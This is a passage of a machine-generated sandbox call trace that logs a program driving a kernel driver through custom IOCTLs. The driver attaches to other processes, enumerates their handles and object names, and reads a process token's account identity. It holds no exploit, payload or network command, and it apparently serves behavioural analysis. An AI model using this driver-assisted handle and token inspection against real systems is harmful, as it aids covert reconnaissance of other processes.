lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0132.293] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.293] PsAcquireProcessExitSynchronization () returned 0x0 [0132.293] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0) [0132.293] ObReferenceObjectByHandle (in: Handle=0x144, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80035087c0, HandleInformation=0x0) returned 0x0 [0132.293] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.293] PsReleaseProcessExitSynchronization () returned 0x2 [0132.293] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0132.293] ObQueryNameString (in: Object=0xfffffa80035087c0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.293] ObfDereferenceObject (Object=0xfffffa80035087c0) returned 0xb [0132.293] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.293] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.293] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.293] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0132.293] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.293] PsAcquireProcessExitSynchronization () returned 0x0 [0132.293] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0) [0132.293] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001ab88f0, HandleInformation=0x0) returned 0x0 [0132.294] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.294] PsReleaseProcessExitSynchronization () returned 0x2 [0132.294] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0132.294] ObQueryNameString (in: Object=0xfffff8a001ab88f0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.294] ObfDereferenceObject (Object=0xfffff8a001ab88f0) returned 0x2 [0132.294] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.294] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.294] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.294] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0132.294] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.294] PsAcquireProcessExitSynchronization () returned 0x0 [0132.294] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0) [0132.294] ObReferenceObjectByHandle (in: Handle=0x1ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800351aab0, HandleInformation=0x0) returned 0x0 [0132.294] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.294] PsReleaseProcessExitSynchronization () returned 0x2 [0132.294] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0132.294] ObQueryNameString (in: Object=0xfffffa800351aab0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.294] ObfDereferenceObject (Object=0xfffffa800351aab0) returned 0x1 [0132.294] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.294] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.294] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.294] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0132.294] PsLookupProcessByProcessId (in: ProcessId=0x4a8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.294] PsAcquireProcessExitSynchronization () returned 0x0 [0132.294] KeStackAttachProcess (in: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800eac7860, ApcState=0xfffff880050005d0) [0132.294] ObReferenceObjectByHandle (in: Handle=0x224, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003504d10, HandleInformation=0x0) returned 0x0 [0132.294] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.294] PsReleaseProcessExitSynchronization () returned 0x2 [0132.294] ObfDereferenceObject (Object=0xfffffa800eac7860) returned 0x86 [0132.294] ObQueryNameString (in: Object=0xfffffa8003504d10, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.295] ObfDereferenceObject (Object=0xfffffa8003504d10) returned 0x11 [0132.295] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.295] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.295] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4c4) returned 0xc0 [0132.295] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.295] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002b78b30, HandleInformation=0x0) returned 0x0 [0132.295] ObOpenObjectByPointer (in: Object=0xfffffa8002b78b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800009fc) returned 0x0 [0132.295] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb6 [0132.295] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009fc, DesiredAccess=0x8, TokenHandle=0xfffffa80020ad8c0 | out: TokenHandle=0xfffffa80020ad8c0*=0xc8) returned 0x0 [0132.295] ZwClose (Handle=0xffffffff800009fc) returned 0x0 [0132.295] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.295] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.295] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.296] CloseHandle (hObject=0xc8) returned 1 [0132.296] CloseHandle (hObject=0xc0) returned 1 [0132.296] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.296] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0132.296] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.297] PsAcquireProcessExitSynchronization () returned 0x0 [0132.297] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0) [0132.297] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800328c550, HandleInformation=0x0) returned 0x0 [0132.297] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.297] PsReleaseProcessExitSynchronization () returned 0x2 [0132.297] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0132.297] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.297] ObfDereferenceObject (Object=0xfffffa800328c550) returned 0x1 [0132.297] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.297] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.297] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.297] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0132.297] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.297] PsAcquireProcessExitSynchronization () returned 0x0 [0132.297] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0) [0132.297] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800328d070, HandleInformation=0x0) returned 0x0 [0132.297] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.297] PsReleaseProcessExitSynchronization () returned 0x2 [0132.297] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0132.297] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.297] ObfDereferenceObject (Object=0xfffffa800328d070) returned 0x1 [0132.297] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.297] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.297] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.297] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0132.297] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.297] PsAcquireProcessExitSynchronization () returned 0x0 [0132.297] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0) [0132.298] ObReferenceObjectByHandle (in: Handle=0xe8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003294510, HandleInformation=0x0) returned 0x0 [0132.298] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.298] PsReleaseProcessExitSynchronization () returned 0x2 [0132.298] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0132.298] ObQueryNameString (in: Object=0xfffffa80027af390, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000508) returned 0x0 [0132.298] ObfDereferenceObject (Object=0xfffffa8003294510) returned 0x1 [0132.298] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.298] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.298] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.298] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0132.298] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.298] PsAcquireProcessExitSynchronization () returned 0x0 [0132.298] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0) [0132.298] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032943c0, HandleInformation=0x0) returned 0x0 [0132.298] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.298] PsReleaseProcessExitSynchronization () returned 0x2 [0132.298] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0132.298] ObQueryNameString (in: Object=0xfffffa80027af390, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.298] ObfDereferenceObject (Object=0xfffffa80032943c0) returned 0x1 [0132.298] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.298] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.298] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.298] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0132.298] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.298] PsAcquireProcessExitSynchronization () returned 0x0 [0132.298] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0) [0132.298] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003295070, HandleInformation=0x0) returned 0x0 [0132.298] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.298] PsReleaseProcessExitSynchronization () returned 0x2 [0132.298] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0132.298] ObQueryNameString (in: Object=0xfffffa80027ac060, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000508) returned 0x0 [0132.298] ObfDereferenceObject (Object=0xfffffa8003295070) returned 0x1 [0132.298] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.299] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.299] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.299] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0132.299] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.299] PsAcquireProcessExitSynchronization () returned 0x0 [0132.299] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0) [0132.299] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003295f20, HandleInformation=0x0) returned 0x0 [0132.299] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.299] PsReleaseProcessExitSynchronization () returned 0x2 [0132.299] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0132.299] ObQueryNameString (in: Object=0xfffffa80027b0c20, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.299] ObfDereferenceObject (Object=0xfffffa8003295f20) returned 0x1 [0132.299] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.299] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.299] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.299] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0132.299] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.299] PsAcquireProcessExitSynchronization () returned 0x0 [0132.299] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0) [0132.299] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003295dd0, HandleInformation=0x0) returned 0x0 [0132.299] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.299] PsReleaseProcessExitSynchronization () returned 0x2 [0132.299] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0132.299] ObQueryNameString (in: Object=0xfffffa80027b0e40, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.299] ObfDereferenceObject (Object=0xfffffa8003295dd0) returned 0x1 [0132.299] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.299] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.299] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.299] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0132.299] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.299] PsAcquireProcessExitSynchronization () returned 0x0 [0132.299] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0) [0132.299] ObReferenceObjectByHandle (in: Handle=0x140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800329cab0, HandleInformation=0x0) returned 0x0 [0132.299] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.300] PsReleaseProcessExitSynchronization () returned 0x2 [0132.300] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0132.300] ObQueryNameString (in: Object=0xfffffa800329cab0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.300] ObfDereferenceObject (Object=0xfffffa800329cab0) returned 0x1 [0132.300] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.300] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.300] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.300] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0132.300] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.300] PsAcquireProcessExitSynchronization () returned 0x0 [0132.300] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0) [0132.300] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032c3070, HandleInformation=0x0) returned 0x0 [0132.300] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.300] PsReleaseProcessExitSynchronization () returned 0x2 [0132.300] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0132.300] ObQueryNameString (in: Object=0xfffffa80032c3070, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.300] ObfDereferenceObject (Object=0xfffffa80032c3070) returned 0xe [0132.300] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.300] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.300] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.300] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0132.300] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.300] PsAcquireProcessExitSynchronization () returned 0x0 [0132.300] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880050005d0) [0132.300] ObReferenceObjectByHandle (in: Handle=0x1f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800316ca60, HandleInformation=0x0) returned 0x0 [0132.300] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.300] PsReleaseProcessExitSynchronization () returned 0x2 [0132.300] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0132.300] ObQueryNameString (in: Object=0xfffffa800316ca60, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.300] ObfDereferenceObject (Object=0xfffffa800316ca60) returned 0x5 [0132.300] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.301] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.301] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.301] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0132.301] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.301] PsAcquireProcessExitSynchronization () returned 0x0 [0132.301] KeStackAttachProcess 